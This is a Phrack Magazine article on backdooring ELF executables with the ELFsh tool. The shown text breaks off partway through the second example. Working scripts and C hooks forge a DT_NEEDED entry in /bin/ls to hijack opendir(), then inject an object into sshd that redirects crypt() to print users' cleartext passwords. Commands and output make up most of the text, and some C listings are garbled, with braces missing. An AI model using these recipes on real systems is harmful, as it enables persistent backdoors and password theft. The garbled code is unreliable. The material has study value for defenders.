[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]

..[ Phrack Magazine ]..
.:: The Cerberus ELF interface ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ]
Current issue : #61 | Release date : 2003-08-13 | Editor : Phrack Staff
IntroductionPhrack Staff
LoopbackPhrack Staff
LinenoisePhrack Staff
Toolz ArmoryPhrack Staff
Phrack Prophile on digitPhrack Staff
Advanced Doug Lea's malloc exploitsjp
Hijacking Linux Page Fault Handlerbuffer
The Cerberus ELF interfacemayhem
Polymorphic Shellcode EngineCLET team
Infecting Loadable Kernel Modulestruff
Building IA32 'Unicode-Proof' Shellcodesobscou
Fun with the Spanning Tree ProtocolVladislav V. Myasnyankin & Oleg K. Artemjev
Hacking the Linux Kernel Network Stackbioforge
Kernel Rootkit Experiences & the Futurestealth
Phrack World NewsPhrack Staff
Title : The Cerberus ELF interface
Author : mayhem
			      ==Phrack Inc.==

               Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f

|=---------- .:: Devhell Labs and Phrack Magazine present ::. ----------=|
|=------------------=[  The Cerberus ELF Interface  ]=------------------=|
|=------------------=[  mayhem <mayhem@devhell.org> ]=------------------=|

 1. Introduction
 2. Quick and usable backdoor in 4 bytes
    a/ The .dynamic section
    b/ DT_NEEDED and DT_DEBUG entries
    c/ Performing function hijacking
    d/ Example 1: ls and opendir()
 3. Residency : ET_REL injection into ET_EXEC
    a/ Section injection : pre-interp vs post-bss
    b/ Multiple BSS merging
    c/ Symbol tables merging
    d/ Mixing (a,b,c) for injecting a module into an executable
    e/ Example 2: sshd and crypt()
    f/ Multi-architecture algorithms
    g/ ELFsh 0.51b relocation engine implementation details
 4. Infection : ALTPLT technique
    a/ Foundations of ALTPLT
    b/ ALTPLT on SPARC
    c/ Example 3: md5sum and fopen64()
    d/ Multi-architecture algorithm			
    e/ Improvement suggestions for the redir command
 5. The end ?
 6. Greets
 7. References

-------[ 1. Introduction

	 This article introduces three new generic techniques in ELF
	 (Executable and Linking Format) objects manipulation. The first
	 presented one is designed to be simple and quickly implemented,
	 others are more complex and allow advanced software extension
	 without having the source tree. These techniques can be used for
	 a wide panel of requirements such as closed-source software
	 debugging, software extension, backdooring, virii writing, 
	 intrusion detection and intrusion prevention.

	 The examples will make use of the ELF shell [1], a freely
	 available scripting language to modify ELF binaries. It works
	 on two architectures (INTEL and SPARC) and four operating
	 systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the
	 techniques work even if the target machine is installed with
	 address space randomization and execution restriction, such as
	 PaX [2] protected boxes, since all the code injection is done
	 in the allowed areas. 

	 ELF basics -will not- be explained, if you have troubles 
	 understanding the article, please read the ELF TIS [3] reference
	 before requesting extra details ;). You can also try another
	 resource [4] which is a good introduction to the ELF format, 
	 from the virus writing perspective.

	 In the first part of the paper, an easy and pragmatic technique 
	 for backdooring an executable will be described, just by
	 changing 4 bytes. It consists of corrupting the .dynamic section 
	 of the binary (2) and erase some entries (DT_DEBUG) for adding 
	 others (DT_NEEDED), plus swapping existing DT_NEEDED entries to 
	 give priority to certain symbols, all of this without changing 
	 the file size.

	 The second part describes a complex residency technique, which 
	 consists of adding a module (relocatable object ET_REL, e.g. a
	 .o file) into an executable file (ET_EXEC) as if the binary was
	 not linked yet. This technique is provided for INTEL and SPARC
	 architectures : compiled C code can thus be added permanently
	 to any ELF32 executable.

	 Finally, a new infection technique called ALTPLT (4) will be
	 explained. This feature is an extension of PLT infection [5]
	 and works in correlation with the ET_REL injection. It consists
	 of duplicating the Procedure Linkage Table and inject symbols
	 onto each entry of the alternate PLT. The advantages of this
	 technique are the relative portability (relative because we will
	 see that minor architecture dependant fixes are necessary), its
	 PaX safe bevahior as well, and the ability to call the original
	 function from the hook function without having to perform
	 painful tasks like runtime byte restoration.

	 Example ELFsh scripts are provided for all the explained
	 techniques. However, no ready-to-use backdoors will be included 
	 (do you own!). For peoples who did not want to see these
	 techniques published, I would just argue that all of
	 them have been available for a couple of months for those
	 who wanted, and new techniques are already in progress. These
	 ideas were born from a good exploitation of the information
	 provided in the ELF reference and nothing was ripped to anyone.
	 I am not aware of any implementation providing these features,
	 but if you feel injuried, you can send flame emails and my
	 bot^H^H^H^H^H^H I will kindly answer all of them.

-------[ 2. Quick and usable backdoor in 4 bytes

	 Every dynamic executable file contains a .dynamic section. This 
	 zone is useful for the runtime linker in order to access crucial
	 information at runtime without requiring a section header table
	 (SHT), since the .dynamic section data  matches the bounds of
	 the PT_DYNAMIC segment entry of the Program Header Table (PHT).
	 Useful information includes the address and size of relocation
	 tables, the addresses of initialization and destruction routines,
	 the addresses of version tables, pathes for needed libraries, and
	 so on. Each entry of .dynamic looks like this, as shown in elf.h :

	 typedef struct
	   Elf32_Sword   d_tag;                 /* Dynamic entry type */
	      Elf32_Word d_val;                 /* Integer value */
	      Elf32_Addr d_ptr;                 /* Address value */
	    } d_un;
	  } Elf32_Dyn;

	 For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is
	 the related value. Let's use the elfsh '-d' option to print the
	 dynamic section:

 -----BEGIN EXAMPLE 1-----
 $ elfsh -f /bin/ls -d 

  [*] Object /bin/ls has been loaded (O_RDONLY) 

  [Object /bin/ls]

  [00] Name of needed library          =>  librt.so.1 {DT_NEEDED}
  [01] Name of needed library          =>   libc.so.6 {DT_NEEDED}
  [02] Address of init function        =>  0x08048F88 {DT_INIT}
  [03] Address of fini function        =>  0x0804F45C {DT_FINI}
  [04] Address of symbol hash table    =>  0x08048128 {DT_HASH}
  [05] Address of dynamic string table =>  0x08048890 {DT_STRTAB}
  [06] Address of dynamic symbol table =>  0x08048380 {DT_SYMTAB}
  [07] Size of string table            =>   821 bytes {DT_STRSZ}
  [08] Size of symbol table entry      =>    16 bytes {DT_SYMENT}
  [09] Debugging entry (unknown)       =>  0x00000000 {DT_DEBUG}
  [10] Processor defined value         =>  0x0805348C {DT_PLTGOT}
  [11] Size in bytes for .rel.plt      =>   560 bytes {DT_PLTRELSZ}
  [12] Type of reloc in PLT            =>          17 {DT_PLTREL}
  [13] Address of .rel.plt             =>  0x08048D58 {DT_JMPREL}
  [14] Address of .rel.got section     =>  0x08048D20 {DT_REL}
  [15] Total size of .rel section      =>    56 bytes {DT_RELSZ}
  [16] Size of a REL entry             =>     8 bytes {DT_RELENT}
  [17] SUN needed version table        =>  0x08048CA0 {DT_VERNEED}
  [18] SUN needed version number       =>           2 {DT_VERNEEDNUM}
  [19] GNU version VERSYM              =>  0x08048BFC {DT_VERSYM}

  [*] Object /bin/ls unloaded 

 -----END EXAMPLE 1-----

	 The careful reader would have noticed a strange entry of type 
	 DT_DEBUG. This entry is used in the runtime linker to retrieve
	 debugging information, it is present in all GNU tools generated
	 binaries but it is not mandatory. The idea is to erase it using
	 a forged DT_NEEDED, so that an extra library dependance is added
	 to the executable.

	 The d_val field of a DT_NEEDED entry contains a relative offset
	 from the beginning of the .dynstr section, where we can find the
	 library path for this entry. What happens if we want to avoid
	 injecting an extra library path string into the .dynstr
	 section ?

 -----BEGIN EXAMPLE 2-----
 $ elfsh -f /bin/ls -X dynstr | grep so
 .dynstr + 16  6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock
 .dynstr + 48  696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so.
 .dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp
 .dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso
 -----END EXAMPLE 2-----

	 We just have to choose an existing library path string, but 
	 avoid starting at the beginning ;). The ELF reference specifies
	 clearly that a same string in .dynstr can be used by multiple
	 entries at a time:

 -----BEGIN EXAMPLE 3-----
 $ cat > /tmp/newlib.c 
   printf("my own fonction \n");
 $ gcc -shared /tmp/newlib.c -o /lib/rt.so.1
 $ elfsh

  Welcome to The ELF shell 0.5b9 .::. 

  .::. This software is under the General Public License 
  .::. Please visit http://www.gnu.org to know about Free Software 

 [ELFsh-0.5b9]$ load /bin/ls 
   [*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003

 [ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG

 [Object /bin/ls]

 [00] Name of needed library            =>          librt.so.1 {DT_NEEDED}
 [01] Name of needed library            =>           libc.so.6 {DT_NEEDED}
 [09] Debugging entry (unknown)         =>          0x00000000 {DT_DEBUG}

 [ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED
  [*] Field set succesfully 

 [ELFsh-0.5b9]$ set 1.dynamic[9].val 19	# see .dynstr + 19
  [*] Field set succesfully 

 [ELFsh-0.5b9]$ save /tmp/ls.new
  [*] Object /tmp/ls.new saved successfully

 [ELFsh-0.5b9]$ quit
  [*] Unloading object 1 (/bin/ls) * 

  Good bye ! .::. The ELF shell 0.5b9 

 -----END EXAMPLE 3-----

	 Lets verify our changes:

 -----BEGIN EXAMPLE 4-----
 $ elfsh -f ls.new -d DT_NEEDED

 [*] Object ls.new has been loaded (O_RDONLY) 

 [Object ls.new]
 [00] Name of needed library            =>          librt.so.1 {DT_NEEDED}
 [01] Name of needed library            =>           libc.so.6 {DT_NEEDED}
 [09] Name of needed library            =>             rt.so.1 {DT_NEEDED}

 [*] Object ls.new unloaded 

 $ ldconfig		     # refresh /etc/ld.so.cache
 -----END EXAMPLE 4-----

	 This method is not extremely stealth because a simple command can
	 list all the library dependances for a given binary:

 $ ldd /tmp/ls.new
         librt.so.1 => /lib/librt.so.1 (0x40021000)
	 libc.so.6 => /lib/libc.so.6 (0x40033000)
	 rt.so.1 => /lib/rt.so.1 (0x40144000)
	 libpthread.so.0 => /lib/libpthread.so.0 (0x40146000)
	 /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

	 Is the executable still working?

 $ ./ls.new
 AcroOlAAFj  ELFSH_DEBUG  ls.new  newlib.c

	 OK, so we found a good way to inject as much code as we want in
	 a process, by adding a library dependance to the main object, the
	 executable object. Now what if we want to hijack functions with
	 such an easy technique? We can force some symbols to get resolved
	 in priority over other symbols : when the runtime relocation is 
	 done (when the .got section is patched), the runtime linker will
	 iterate on the link_map [6] [7] [8] list, find the first matching
	 symbol, and fill the Global Offset Table related entry (or the 
	 Procedure Linkage Table entry if we are on SPARC) with the 
	 absolute runtime address where the function is mapped. A simple 
	 technique consists of swapping DT_NEEDED entries and make our own
	 library to be present before other libraries in the link_map
	 double linked list, and symbols to be resolved before the
	 original symbols. In order to call the original function from
	 the hook function, we will have to use dlopen(3) and dlsym(3) so
	 that we can resolve a symbol for a given object.

	 Lets take the same code, and this time, write a script which can
	 hijack opendir(3) to our own function(), and then call the 
	 original opendir(), so that the binary can be run normally:

 -----BEGIN EXAMPLE 5-----
 $ cat dlhijack.esh
 load /bin/ls

 set 1.dynamic[9].tag DT_NEEDED

 # Put the former DT_DEBUG entry value to the first DT_NEEDED value
 set 1.dynamic[9].val 1.dynamic[0].val

 # Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1 
 add 1.dynamic[0].val 3

 save ls.new

 -----END EXAMPLE 5-----

	 Now let's write the opendir hook code:

 -----BEGIN EXAMPLE 6-----
 $ cat myopendir.c
 #include <stdio.h>
 #include <sys/types.h>
 #include <stdlib.h>
 #include <fcntl.h>
 #include <dirent.h>
 #include <dlfcn.h>

 #define LIBC_PATH       "/lib/libc.so.6"

 DIR     *opendir(const char *name)
   void  *handle;
   void  *(*sym)(const char *name);

   handle = dlopen(LIBC_PATH, RTLD_LAZY);
   sym = (void *) dlsym(handle, "opendir");
   printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n", 
			   sym, name);
   return (sym(name));
 $ gcc -shared myopendir.c -o rt.so.1 -ldl
 -----END EXAMPLE 6-----

	 Now we can modify the binary using our 4 lines script:

 -----BEGIN EXAMPLE 7-----
 $ ./dlhijack.esh

   Welcome to The ELF shell 0.5b9 .::. 

   .::. This software is under the General Public License 
   .::. Please visit http://www.gnu.org to know about Free Software 

   ~load /bin/ls
     [*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003
   ~set 1.dynamic[9].tag DT_NEEDED
     [*] Field set succesfully 

   ~set 1.dynamic[9].val 1.dynamic[0].val
     [*] Field set succesfully 

   ~add 1.dynamic[0].val 3
     [*] Field modified succesfully

   ~save ls.new
     [*] Object ls.new save successfully 

     [*] Unloading object 1 (/bin/ls) * 

  Good bye ! .::. The ELF shell 0.5b9 

 -----END EXAMPLE 7-----

	Let's see the results for the original ls, and then for the
	modified ls:

 $ ldd ls.new
        rt.so.1 => /lib/rt.so.1 (0x40021000)
        libc.so.6 => /lib/libc.so.6 (0x40023000)
        librt.so.1 => /lib/librt.so.1 (0x40134000)
        libdl.so.2 => /lib/libdl.so.2 (0x40146000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000)
 $ ls
 c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c  \
 myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1
 $ ./ls.new 
 OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = . 
 c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c \
 myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1

	Nice. Note that the current implementation of this technique in 
	ELFsh changes the size of the binary because it injects 
	automatically some symbols for binary sanity. If you want to keep 
	the same size, you have to comment the calls to elfsh_fixup_symtab
	in the ELFsh source code ;) . This stuff is known to be used
	in the wild.

	The dynamic version of this technique has been proposed in [9],
	where the author describes how to call dlopen() in a subversive
	way, so that the process get runtime linked with an extra library.
	In practice, both implementations have nothing in common, but it
	is worth mentionning.

-------[ 3. Residency : ET_REL injection into ET_EXEC

	 This second technique allows to perform relinking of the ELF
	 ET_EXEC binary file and adding a relocatable object (ET_REL
	 file aka .o file) into the program address space. This is very
	 useful since it is a powerful method to inject as much data and
	 code as needed in a file using a 5 lines script.

	 Such relocation based backdoors have been developped in the 
	 past for static kernel patching [10] (ET_REL into vmlinuz) and
	 direct LKM loading in kernel memory (ET_REL into kmem) [11] .
	 However, this ET_REL injection into ET_EXEC implementation is in
	 my sense particulary interresting since it has been implemented 
	 considering a larger scope of target architectures and for
	 protected environments.

	 Because ELFsh is also used for things other than backdooring, 
	 the SHT and the symbol table are kept synchronized when we
	 insert our stuff into the binary, so that symbol resolving can
	 be provided even in the injected code.

	 Since the backdoor needs to stay valid on a PaX protected box,
	 we use 2 different injection techniques (one for the code 
	 sections, the other for the data sections) called section
	 pre-interp injection (because we insert the new section before
	 the .interp section) and section post-bss injection (because we
	 insert the new section after the .bss section).

	 For this second injection type, .bss data physical insertion 
	 into the file is necessary, since .bss is the non-initialized 
	 data section, it is only referenced by the SHT and PHT, but it
	 is not present in the file.

	 Also, note that section pre-interp injection is not possible 
	 with the current FreeBSD dynamic linker (some assert() kills the
	 modified binary), so all sections are injected using a post-bss 
	 insertion on this OS. This is not an issue since FreeBSD does not
	 come with non-executable protection for datapages. If such a 
	 protection comes in the future, we would have to modify the 
	 dynamic linker itself before being able to run the modified
	 binary, or make the code segment writable in sh_flags.

	 Let's look at the binary layout (example is sshd, it is the same
	 for all the binaries) :

 -----BEGIN EXAMPLE 8-----
 $ elfsh -f /usr/sbin/sshd -q -s -p

[SECTION HEADER TABLE .::. SHT is not stripped]
[Object /usr/sbin/sshd]

[000] (nil)      -------                 foff:00000000 sz:00000000 link:00
[001] 0x80480f4  a------ .interp         foff:00000244 sz:00000019 link:00
[002] 0x8048108  a------ .note.ABI-tag   foff:00000264 sz:00000032 link:00
[003] 0x8048128  a------ .hash           foff:00000296 sz:00001784 link:04
[004] 0x8048820  a------ .dynsym         foff:00002080 sz:00003952 link:05
[005] 0x8049790  a------ .dynstr         foff:00006032 sz:00002605 link:00
[006] 0x804a1be  a------ .gnu.version    foff:00008638 sz:00000494 link:04
[007] 0x804a3ac  a------ .gnu.version_r  foff:00009132 sz:00000096 link:05
[008] 0x804a40c  a------ .rel.got        foff:00009228 sz:00000008 link:04
[009] 0x804a414  a------ .rel.bss        foff:00009236 sz:00000056 link:04
[010] 0x804a44c  a------ .rel.plt        foff:00009292 sz:00001768 link:04
[011] 0x804ab34  a-x---- .init           foff:00011060 sz:00000037 link:00
[012] 0x804ab5c  a-x---- .plt            foff:00011100 sz:00003552 link:00
[013] 0x804b940  a-x---- .text           foff:00014656 sz:00145276 link:00
[014] 0x806f0bc  a-x---- .fini           foff:00159932 sz:00000028 link:00
[015] 0x806f0e0  a------ .rodata         foff:00159968 sz:00068256 link:00
[016] 0x8080b80  aw----- .data           foff:00228224 sz:00003048 link:00
[017] 0x8081768  aw----- .eh_frame       foff:00231272 sz:00000004 link:00
[018] 0x808176c  aw----- .ctors          foff:00231276 sz:00000008 link:00
[019] 0x8081774  aw----- .dtors          foff:00231284 sz:00000008 link:00
[020] 0x808177c  aw----- .got            foff:00231292 sz:00000900 link:00
[021] 0x8081b00  aw----- .dynamic        foff:00232192 sz:00000200 link:05
[022] 0x8081bc8  -w----- .sbss           foff:00232416 sz:00000000 link:00
[023] 0x8081be0  aw----- .bss            foff:00232416 sz:00025140 link:00
[024] (nil)      ------- .comment        foff:00232416 sz:00002812 link:00
[025] (nil)      ------- .note           foff:00235228 sz:00001480 link:00
[026] (nil)      ------- .shstrtab       foff:00236708 sz:00000243 link:00
[027] (nil)      ------- .symtab         foff:00236951 sz:00000400 link:00
[028] (nil)      ------- .strtab         foff:00237351 sz:00000202 link:00

[Program header table .::. PHT]
[Object /usr/sbin/sshd]

[0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019)
[2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224)
[3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032)

[Program header table .::. SHT correlation]
[Object /usr/sbin/sshd]

[*] SHT is not stripped 

[00] PT_PHDR    
[01] PT_INTERP         .interp 
[02] PT_LOAD           .interp .note.ABI-tag .hash .dynsym .dynstr \
		       .gnu.version .gnu.version_r .rel.got .rel.bss \
		       .rel.plt .init .plt .text .fini .rodata 
[03] PT_LOAD           .data .eh_frame .ctors .dtors .got .dynamic 
[04] PT_DYNAMIC        .dynamic 
[05] PT_NOTE           .note.ABI-tag 

 -----END EXAMPLE 8-----

	We have here two loadable segments, one is executable (matches the
	code segment) and the other is writable (matches the data 

	What we have to do is to inject all non-writable sections before
	.interp (thus in the code segment), and all other section's after
	.bss in the data segment. Let's code a handler for crypt() which
	prints the clear password and exit. In this first example, we 
	will use GOT redirection [12] and hijack crypt() which stays in 
	the libc:

 -----BEGIN EXAMPLE 9-----
 $ cat mycrypt.c
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <fcntl.h>

 int     glvar = 42;
 int     bssvar;

 char *mycrypt(const char *key, const char *salt)
   bssvar = 2;
   printf(".:: crypt redirected -key- = %s (%u .::. %u) \n", 
         key, glvar, bssvar);
 $ gcc -c mycrypt.c
 -----END EXAMPLE 9-----

	Using the 'reladd' command, we will inject mycrypt.o into sshd:

 -----BEGIN EXAMPLE 10-----
 $ cat etreladd.esh

 load /usr/sbin/sshd
 load mycrypt.o

 # Inject mycrypt.o into sshd
 reladd 1 2

 # Modify crypt() got entry and make it point on mycrypt() which resides
 # into mycrypt.o
 set 1.got[crypt] mycrypt

 save sshd.new
 $ ./etreladd.esh

         Welcome to The ELF shell 0.5b9 .::. 

         .::. This software is under the General Public License 
         .::. Please visit http://www.gnu.org to know about Free Software 

~load /usr/sbin/sshd
  [*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003

~load mycrypt.o
  [*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003
~reladd 1 2
  [*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd

~set 1.got[crypt] mycrypt
  [*] Field set succesfully 

~save sshd.new
  [*] Object sshd.new save successfully 

 [*] Unloading object 1 (mycrypt.o)   
 [*] Unloading object 2 (/usr/sbin/sshd) * 

         Good bye ! .::. The ELF shell 0.5b9 
 -----END EXAMPLE 10-----

	Our script rocked. As I said, the symbol tables and the .bss from
	the module have been fused with those from the executable file
	and the SHT has been kept synchronized, so that resolving is also
	possible in the injected code:

 -----BEGIN EXAMPLE 11-----
 $ elfsh -f sshd.new -q -s -p
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object sshd.new]

[00] (nil)      -------                 foff:00000000 sz:00000000 link:00
[01] 0x80450f4  a-x---- .orig.plt       foff:00000244 sz:00004096 link:00
[02] 0x80460f4  a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00
[03] 0x80470f4  a-x---- mycrypt.o.text  foff:00008436 sz:00004096 link:00
[04] 0x80480f4  a------ .interp         foff:00012532 sz:00000019 link:00
[05] 0x8048108  a------ .note.ABI-tag   foff:00012552 sz:00000032 link:00
[06] 0x8048128  a------ .hash           foff:00012584 sz:00001784 link:07
[07] 0x8048820  a------ .dynsym         foff:00014368 sz:00003952 link:08
[08] 0x8049790  a------ .dynstr         foff:00018320 sz:00002605 link:00
[09] 0x804a1be  a------ .gnu.version    foff:00020926 sz:00000494 link:07
[10] 0x804a3ac  a------ .gnu.version_r  foff:00021420 sz:00000096 link:08
[11] 0x804a40c  a------ .rel.got        foff:00021516 sz:00000008 link:07
[12] 0x804a414  a------ .rel.bss        foff:00021524 sz:00000056 link:07
[13] 0x804a44c  a------ .rel.plt        foff:00021580 sz:00001768 link:07
[14] 0x804ab34  a-x---- .init           foff:00023348 sz:00000037 link:00
[15] 0x804ab5c  a-x---- .plt            foff:00023388 sz:00003552 link:00
[16] 0x804b940  a-x---- .text           foff:00026944 sz:00145276 link:00
[17] 0x806f0bc  a-x---- .fini           foff:00172220 sz:00000028 link:00
[18] 0x806f0e0  a------ .rodata         foff:00172256 sz:00068256 link:00
[19] 0x8080b80  aw----- .data           foff:00240512 sz:00003048 link:00
[20] 0x8081768  aw----- .eh_frame       foff:00243560 sz:00000004 link:00
[21] 0x808176c  aw----- .ctors          foff:00243564 sz:00000008 link:00
[22] 0x8081774  aw----- .dtors          foff:00243572 sz:00000008 link:00
[23] 0x808177c  aw----- .got            foff:00243580 sz:00000900 link:00
[24] 0x8081b00  aw----- .dynamic        foff:00244480 sz:00000200 link:08
[25] 0x8081bc8  -w----- .sbss           foff:00244704 sz:00000000 link:00
[26] 0x8081be0  aw----- .bss            foff:00244704 sz:00025144 link:00
[27] 0x8087e18  aw----- mycrypt.o.data  foff:00269848 sz:00000004 link:00
[28] (nil)      ------- .comment        foff:00269852 sz:00002812 link:00
[29] (nil)      ------- .note           foff:00272664 sz:00001480 link:00
[30] (nil)      ------- .shstrtab       foff:00274144 sz:00000300 link:00
[31] (nil)      ------- .symtab         foff:00274444 sz:00004064 link:00
[32] (nil)      ------- .strtab         foff:00278508 sz:00003423 link:00

[Program header table .::. PHT]
[Object sshd.new]

[0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019)
[2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512)
[3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032)

[Program header table .::. SHT correlation]
[Object sshd.new]

[*] SHT is not stripped 
[0] PT_PHDR    
[1] PT_INTERP         .interp 
[2] PT_LOAD           .orig.plt mycrypt.o.rodata mycrypt.o.text .interp 
		      .note.ABI-tag .hash .dynsym .dynstr .gnu.version  
		      .gnu.version_r .rel.got .rel.bss .rel.plt .init   
		      .plt .text .fini .rodata 
[3] PT_LOAD           .data .eh_frame .ctors .dtors .got .dynamic .sbss
		      .bss mycrypt.o.data 
[4] PT_DYNAMIC        .dynamic 
[5] PT_NOTE           .note.ABI-tag 

 -----END EXAMPLE 11-----	

	The new sections can be easily spotted in the new SHT, since
	their name starts with the module name (mycrypt.o.*). Please
	elude the .orig.plt presence for the moment. This section 
	is injected at ET_REL insertion time, but it is not used in 
	this example and it will be explained as a stand-alone technique
	in the next chapter.

	We can see that the new BSS size is 4 bytes bigger than the
	original one. It is because the module BSS was only filled with
	one variable (bssvar), which was a 4 bytes sized integer since
	this specific example was done on a 32 bits architecture. The
	difficulty of this operation is to find the ET_REL object BSS
	section size, because it is set to 0 in the SHT. For this
	operation, we need to care about variable address alignement
	using the st_value field from each SHN_COMMON symbols of the
	ET_REL object, as specified by the ELF reference. Details for
	this algorithm are given later in the article.

	It works on Solaris as well, even if ET_REL files generated by
	Solaris-ELF ld have no .bss section entry in the SHT. The 0.51b2
	implementation has one more limitation on Solaris, which
	is a 'Malloc problem' happening at the first malloc() call when
	using a section post-bss injection. You dont have to use this kind
	of section injection ; ET_REL injection works well on Solaris if
	you do not use initialized global variables. This problem has been
	solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols
	so that they still points on the beginning of the heap (e.g. at
	the end of the last post-bss mapped section, or at the end of the
	bss, if there is no post-bss mapped section).

	Also, the .shstrtab, .symtab, and .strtab sections have been
	extended, and now contain extra symbol names, extra section names,
	and extra symbols copied from the ET_REL object.

	You can note that pre-interp injected sections base address is
	congruent getpagesize(), so that the executable segment always
	starts at the beginning of a page, as requested by the ELF
	reference. ELFsh could save some place here, instead of allocating
	the size of a page each time a section is injected, but that would
	complexify the algorithm a bit, so the congruence is kept for 
	each inserted section.
	The implementation has the cool advantage of -NOT- having to move
	the original executable address space, so that no relocation of
	the original code is needed. In other words, only the .o object
	sections are relocated and we can be sure that no false positive
	relocation is possible (e.g. we -DO NOT- have to find all
	references in the sshd code and patch them because the address
	space changed).

	This is the injected code section's assembly dump, which contains 
	the mycrypt function:

 -----BEGIN EXAMPLE 12-----
 $ elfsh -f sshd.new -q -D mycrypt.o.text

 080470F4 mycrypt.o.text + 0            push          %ebp             
 080470F5 mycrypt.o.text + 1            mov           %esp,%ebp        
 080470F7 mycrypt.o.text + 3            sub           $8,%esp          
 080470FA mycrypt.o.text + 6            mov           $2,<bssvar>      
 08047104 mycrypt.o.text + 16           mov           <bssvar>,%eax    
 08047109 mycrypt.o.text + 21           push          %eax             
 0804710A mycrypt.o.text + 22           mov           <glvar>,%eax     
 0804710F mycrypt.o.text + 27           push          %eax             
 08047110 mycrypt.o.text + 28           mov           8(%ebp),%eax     
 08047113 mycrypt.o.text + 31           push          %eax             
 08047114 mycrypt.o.text + 32           push          $<mycrypt.o.rodata> 
 08047119 mycrypt.o.text + 37           call          <printf>         
 0804711E mycrypt.o.text + 42           add           $10,%esp         
 08047121 mycrypt.o.text + 45           add           $0xFFFFFFF4,%esp   
 08047124 mycrypt.o.text + 48           push          $0               
 08047126 mycrypt.o.text + 50           call          <exit>           
 0804712B mycrypt.o.text + 55           add           $10,%esp         
 0804712E mycrypt.o.text + 58           lea           0(%esi),%esi     
 08047134 mycrypt.o.text + 64           leave      
 08047135 mycrypt.o.text + 65           ret
 -----END EXAMPLE 12-----

	 Lets test our new sshd:

 $ ssh mayhem@localhost
 Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type <ENTER>
 mayhem@localhost's password: <--- type your passwd
 Connection closed by

	Let's verify on the server side what happened:

 $ ./sshd.new -d 
debug1: Seeding random number generator
debug1: sshd version OpenSSH_3.0.2p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
debug1: Bind to port 22 on
Server listening on port 22.
debug1: Server will not fork when running in debugging mode.
Connection from port 40619
debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1
debug1: match: OpenSSH_3.5p1 pat ^OpenSSH
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1
debug1: Rhosts Authentication disabled, originating port 40619 not trusted
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 127/256
